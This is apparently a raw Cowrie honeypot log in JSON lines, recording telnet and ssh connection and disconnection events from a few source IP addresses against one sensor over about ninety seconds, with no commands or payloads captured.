{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":41382,"dst_ip":"10.17.0.5","dst_port":23,"session":"20ea3f865cbb","protocol":"telnet","message":"New connection: 188.208.141.113:41382 (10.17.0.5:23) [session: 20ea3f865cbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:02:18.508967Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":59280,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ad8c85919f3","protocol":"telnet","message":"New connection: 103.208.219.59:59280 (10.17.0.5:23) [session: 4ad8c85919f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:02:21.266444Z"}
{"eventid":"cowrie.session.closed","duration":30.97802448272705,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:02:21.395839Z","src_ip":"103.208.219.59","session":"0c98b8b0b333","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.57924437522888,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:02:24.492859Z","src_ip":"188.208.141.113","session":"5eccd120432c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.09474563598633,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:02:25.108998Z","src_ip":"188.208.141.113","session":"9c53f3ce270c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":40728,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e836d67227b","protocol":"telnet","message":"New connection: 188.208.141.113:40728 (10.17.0.5:23) [session: 8e836d67227b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:02:25.923803Z"}
{"eventid":"cowrie.session.closed","duration":31.93268895149231,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:02:26.370425Z","src_ip":"103.208.219.59","session":"ebf0c78165ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":40740,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b13cd1a15d2","protocol":"telnet","message":"New connection: 188.208.141.113:40740 (10.17.0.5:23) [session: 9b13cd1a15d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:02:26.638609Z"}
{"eventid":"cowrie.session.closed","duration":31.617161989212036,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:02:26.958873Z","src_ip":"103.208.219.59","session":"5a3582e9f3d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.401079416275024,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:02:27.170467Z","src_ip":"188.208.141.113","session":"bd4be17d5544","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":40752,"dst_ip":"10.17.0.5","dst_port":23,"session":"3794d8f93c75","protocol":"telnet","message":"New connection: 188.208.141.113:40752 (10.17.0.5:23) [session: 3794d8f93c75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:02:28.778744Z"}
{"eventid":"cowrie.session.closed","duration":3.613553047180176,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:02:29.537220Z","src_ip":"188.208.141.113","session":"8e836d67227b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":55984,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4893c2ae650","protocol":"telnet","message":"New connection: 103.208.219.59:55984 (10.17.0.5:23) [session: e4893c2ae650]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:02:29.571141Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":55992,"dst_ip":"10.17.0.5","dst_port":23,"session":"1267df3b66ce","protocol":"telnet","message":"New connection: 103.208.219.59:55992 (10.17.0.5:23) [session: 1267df3b66ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:02:31.329373Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":56000,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf16a0a9133c","protocol":"telnet","message":"New connection: 103.208.219.59:56000 (10.17.0.5:23) [session: bf16a0a9133c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:02:31.453350Z"}
{"eventid":"cowrie.session.closed","duration":35.44672608375549,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:02:34.969233Z","src_ip":"188.208.141.113","session":"f32af556f0d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":56010,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cb198e9d9c5","protocol":"telnet","message":"New connection: 103.208.219.59:56010 (10.17.0.5:23) [session: 6cb198e9d9c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:02:35.147154Z"}
{"eventid":"cowrie.session.closed","duration":30.37813401222229,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:02:35.186228Z","src_ip":"103.208.219.59","session":"b1e73df070ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.100205421447754,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:02:39.929553Z","src_ip":"188.208.141.113","session":"cbedc338f9a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.5419282913208,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:02:41.368986Z","src_ip":"103.208.219.59","session":"cbfd592145b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.783594369888306,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:02:42.520483Z","src_ip":"103.208.219.59","session":"48a95fc09a70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":34096,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba78908bc9c1","protocol":"telnet","message":"New connection: 206.189.32.23:34096 (10.17.0.5:23) [session: ba78908bc9c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:02:43.928697Z"}
{"eventid":"cowrie.session.closed","duration":45.403212785720825,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:02:46.201387Z","src_ip":"188.208.141.113","session":"76052fcef8ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":37792,"dst_ip":"10.17.0.5","dst_port":23,"session":"5fb5ce1657c4","protocol":"telnet","message":"New connection: 206.189.32.23:37792 (10.17.0.5:23) [session: 5fb5ce1657c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:02:47.226552Z"}
{"eventid":"cowrie.session.closed","duration":31.007740020751953,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:02:47.330492Z","src_ip":"103.208.219.59","session":"4bb559364fa0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":43386,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd8efb6b23dd","protocol":"telnet","message":"New connection: 188.208.141.113:43386 (10.17.0.5:23) [session: cd8efb6b23dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:02:48.900297Z"}
{"eventid":"cowrie.session.closed","duration":44.51157188415527,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:02:49.416388Z","src_ip":"206.189.32.23","session":"3f05be93e6a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":38814,"dst_ip":"10.17.0.5","dst_port":23,"session":"43350ded66fd","protocol":"telnet","message":"New connection: 206.189.32.23:38814 (10.17.0.5:23) [session: 43350ded66fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:02:52.274800Z"}
{"eventid":"cowrie.session.closed","duration":31.16441822052002,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:02:52.430736Z","src_ip":"103.208.219.59","session":"4ad8c85919f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":46250,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8081426bf50","protocol":"telnet","message":"New connection: 188.208.141.113:46250 (10.17.0.5:23) [session: e8081426bf50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:02:56.679903Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":46252,"dst_ip":"10.17.0.5","dst_port":23,"session":"598c65f491cf","protocol":"telnet","message":"New connection: 188.208.141.113:46252 (10.17.0.5:23) [session: 598c65f491cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:02:59.783839Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":46260,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc33c85c76b7","protocol":"telnet","message":"New connection: 188.208.141.113:46260 (10.17.0.5:23) [session: fc33c85c76b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:03:00.079707Z"}
{"eventid":"cowrie.session.closed","duration":31.479132652282715,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:03:01.050097Z","src_ip":"103.208.219.59","session":"e4893c2ae650","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.27992296218872,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:03:02.609195Z","src_ip":"103.208.219.59","session":"1267df3b66ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.343990087509155,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:03:02.852841Z","src_ip":"188.208.141.113","session":"20ea3f865cbb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.619664907455444,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:03:03.072917Z","src_ip":"103.208.219.59","session":"bf16a0a9133c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":51876,"dst_ip":"10.17.0.5","dst_port":23,"session":"18daadd45581","protocol":"telnet","message":"New connection: 188.208.141.113:51876 (10.17.0.5:23) [session: 18daadd45581]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:03:03.105957Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":43686,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad49fe696cda","protocol":"telnet","message":"New connection: 103.208.219.59:43686 (10.17.0.5:23) [session: ad49fe696cda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:03:05.864957Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":51882,"dst_ip":"10.17.0.5","dst_port":23,"session":"2bf0de1692a8","protocol":"telnet","message":"New connection: 188.208.141.113:51882 (10.17.0.5:23) [session: 2bf0de1692a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:03:05.877947Z"}
{"eventid":"cowrie.session.closed","duration":39.79076623916626,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:03:06.429268Z","src_ip":"188.208.141.113","session":"9b13cd1a15d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.702111005783081,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:03:06.807931Z","src_ip":"188.208.141.113","session":"18daadd45581","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.67089557647705,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:03:06.817952Z","src_ip":"103.208.219.59","session":"6cb198e9d9c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":41408,"dst_ip":"10.17.0.5","dst_port":23,"session":"24afb5d63ca3","protocol":"telnet","message":"New connection: 103.208.219.59:41408 (10.17.0.5:23) [session: 24afb5d63ca3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:03:08.441355Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":51894,"dst_ip":"10.17.0.5","dst_port":23,"session":"96e5b4f4147d","protocol":"telnet","message":"New connection: 188.208.141.113:51894 (10.17.0.5:23) [session: 96e5b4f4147d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:03:08.732462Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":51902,"dst_ip":"10.17.0.5","dst_port":23,"session":"08f02445f2f5","protocol":"telnet","message":"New connection: 188.208.141.113:51902 (10.17.0.5:23) [session: 08f02445f2f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:03:09.455401Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":41418,"dst_ip":"10.17.0.5","dst_port":23,"session":"9dafeee2da4d","protocol":"telnet","message":"New connection: 103.208.219.59:41418 (10.17.0.5:23) [session: 9dafeee2da4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:03:10.657099Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":41782,"dst_ip":"10.17.0.5","dst_port":23,"session":"26ecb209a7d2","protocol":"telnet","message":"New connection: 188.208.141.113:41782 (10.17.0.5:23) [session: 26ecb209a7d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:03:11.857592Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":41794,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8057d9fcf25","protocol":"telnet","message":"New connection: 188.208.141.113:41794 (10.17.0.5:23) [session: b8057d9fcf25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:03:13.443147Z"}
{"eventid":"cowrie.session.closed","duration":45.269649267196655,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:03:14.048270Z","src_ip":"188.208.141.113","session":"3794d8f93c75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.877049684524536,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:03:14.332335Z","src_ip":"188.208.141.113","session":"08f02445f2f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":49308,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e7cd8844ac4","protocol":"telnet","message":"New connection: 188.208.141.113:49308 (10.17.0.5:23) [session: 9e7cd8844ac4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:03:22.943001Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":49310,"dst_ip":"10.17.0.5","dst_port":23,"session":"b888567ccbf8","protocol":"telnet","message":"New connection: 188.208.141.113:49310 (10.17.0.5:23) [session: b888567ccbf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:03:23.483695Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":49314,"dst_ip":"10.17.0.5","dst_port":23,"session":"d392c8b92914","protocol":"telnet","message":"New connection: 188.208.141.113:49314 (10.17.0.5:23) [session: d392c8b92914]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:03:24.683321Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":49328,"dst_ip":"10.17.0.5","dst_port":23,"session":"368f93f65192","protocol":"telnet","message":"New connection: 188.208.141.113:49328 (10.17.0.5:23) [session: 368f93f65192]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:03:24.699769Z"}
{"eventid":"cowrie.session.closed","duration":37.80468702316284,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:03:26.704830Z","src_ip":"188.208.141.113","session":"cd8efb6b23dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.2941901683807373,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:03:26.777755Z","src_ip":"188.208.141.113","session":"b888567ccbf8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":49338,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe7d10b89adb","protocol":"telnet","message":"New connection: 188.208.141.113:49338 (10.17.0.5:23) [session: fe7d10b89adb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:03:26.898319Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":49900,"dst_ip":"10.17.0.5","dst_port":23,"session":"362ef04c5400","protocol":"telnet","message":"New connection: 103.208.219.59:49900 (10.17.0.5:23) [session: 362ef04c5400]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:03:28.757209Z"}
{"eventid":"cowrie.session.closed","duration":6.532809019088745,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:03:33.430999Z","src_ip":"188.208.141.113","session":"fe7d10b89adb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.64652466773987,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:03:34.326315Z","src_ip":"188.208.141.113","session":"e8081426bf50","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":37968,"dst_ip":"10.17.0.5","dst_port":23,"session":"46a2a00ad404","protocol":"telnet","message":"New connection: 188.208.141.113:37968 (10.17.0.5:23) [session: 46a2a00ad404]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:03:34.368862Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":37984,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2432f87a711","protocol":"telnet","message":"New connection: 188.208.141.113:37984 (10.17.0.5:23) [session: a2432f87a711]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:03:34.870921Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":37998,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd95fcdc13b9","protocol":"telnet","message":"New connection: 188.208.141.113:37998 (10.17.0.5:23) [session: fd95fcdc13b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:03:35.592864Z"}
{"eventid":"cowrie.session.closed","duration":30.364351511001587,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:03:36.229182Z","src_ip":"103.208.219.59","session":"ad49fe696cda","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.19555878639221,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:03:37.124139Z","src_ip":"206.189.32.23","session":"ba78908bc9c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.75209403038025,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:03:37.978509Z","src_ip":"206.189.32.23","session":"5fb5ce1657c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.231.89.133","src_port":50223,"dst_ip":"10.17.0.5","dst_port":22,"session":"aee00c75553b","protocol":"ssh","message":"New connection: 91.231.89.133:50223 (10.17.0.5:22) [session: aee00c75553b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:03:38.396547Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:03:38.420646Z","src_ip":"91.231.89.133","session":"aee00c75553b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.231.89.132","src_port":49203,"dst_ip":"10.17.0.5","dst_port":22,"session":"1524b4441f72","protocol":"ssh","message":"New connection: 91.231.89.132:49203 (10.17.0.5:22) [session: 1524b4441f72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:03:38.488971Z"}
{"eventid":"cowrie.session.closed","duration":3.8928098678588867,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:03:38.763516Z","src_ip":"188.208.141.113","session":"a2432f87a711","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.51824712753296,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:03:38.792918Z","src_ip":"206.189.32.23","session":"43350ded66fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":38010,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5f8a1a73908","protocol":"telnet","message":"New connection: 188.208.141.113:38010 (10.17.0.5:23) [session: e5f8a1a73908]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:03:39.135939Z"}
{"eventid":"cowrie.session.closed","duration":30.861955881118774,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:03:39.303225Z","src_ip":"103.208.219.59","session":"24afb5d63ca3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":57158,"dst_ip":"10.17.0.5","dst_port":23,"session":"5cbcf41c8c33","protocol":"telnet","message":"New connection: 103.208.219.59:57158 (10.17.0.5:23) [session: 5cbcf41c8c33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:03:39.392186Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":57172,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b30051ca54e","protocol":"telnet","message":"New connection: 103.208.219.59:57172 (10.17.0.5:23) [session: 9b30051ca54e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:03:39.548408Z"}
{"eventid":"cowrie.session.closed","duration":30.52655839920044,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:03:41.183527Z","src_ip":"103.208.219.59","session":"9dafeee2da4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.104933738708496,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:03:42.697681Z","src_ip":"188.208.141.113","session":"fd95fcdc13b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":57186,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b5634563434","protocol":"telnet","message":"New connection: 103.208.219.59:57186 (10.17.0.5:23) [session: 5b5634563434]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:03:43.543877Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":57202,"dst_ip":"10.17.0.5","dst_port":23,"session":"698aa32ff289","protocol":"telnet","message":"New connection: 103.208.219.59:57202 (10.17.0.5:23) [session: 698aa32ff289]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:03:44.333584Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":46006,"dst_ip":"10.17.0.5","dst_port":23,"session":"30abacb3bac1","protocol":"telnet","message":"New connection: 103.208.219.59:46006 (10.17.0.5:23) [session: 30abacb3bac1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:03:46.878917Z"}
{"eventid":"cowrie.session.closed","duration":"10.1","message":"Connection lost after 10.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:03:48.568739Z","src_ip":"91.231.89.132","session":"1524b4441f72","protocol":"ssh"}
